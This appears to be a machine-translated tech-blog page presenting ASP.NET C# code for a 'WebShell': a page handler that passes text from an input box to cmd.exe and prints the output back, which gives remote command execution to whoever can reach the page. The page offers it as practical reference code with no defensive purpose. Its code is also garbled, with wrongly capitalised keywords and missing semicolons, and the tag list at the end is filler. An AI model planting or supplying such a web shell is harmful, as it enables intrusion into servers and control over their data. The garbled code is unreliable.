Get the App
SLTechnology News&Howtos  ›  Development  › 

What is the use of WebShell in ASP.Net

Shulou Source: shulou.com Published: 2022-06-03 07:42:10 10月04日 Update

This article is to share with you about the usefulness of WebShell in ASP.Net. The editor thinks it is very practical, so share it with you as a reference and follow the editor to have a look.

The code is as follows:

Protected void exec (object sender, EventArgs e)

{

String item = cmd.Text

Process p = new Process ()

P.StartInfo.FileName = "cmd.exe"

P.StartInfo.UseShellExecute = false

P.StartInfo.RedirectStandardInput = true

P.StartInfo.RedirectStandardOutput = true

P.StartInfo.RedirectStandardError = true

P.StartInfo.CreateNoWindow = true

String strOutput = null

P.Start ()

P.StandardInput.WriteLine (item)

P.StandardInput.WriteLine ("exit")

StrOutput = p.StandardOutput.ReadToEnd ()

P.WaitForExit ()

P.Close ()

Response.Write ("")

Response.Write (strOutput)

Response.Write ("")

}

Protected void Page_Load (object sender, EventArgs e)

{

}

Tags: Content more articles good practical code articles see knowledge reference help related Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno vpn Shulou Information Microsoft Shulou Tech Info Redmi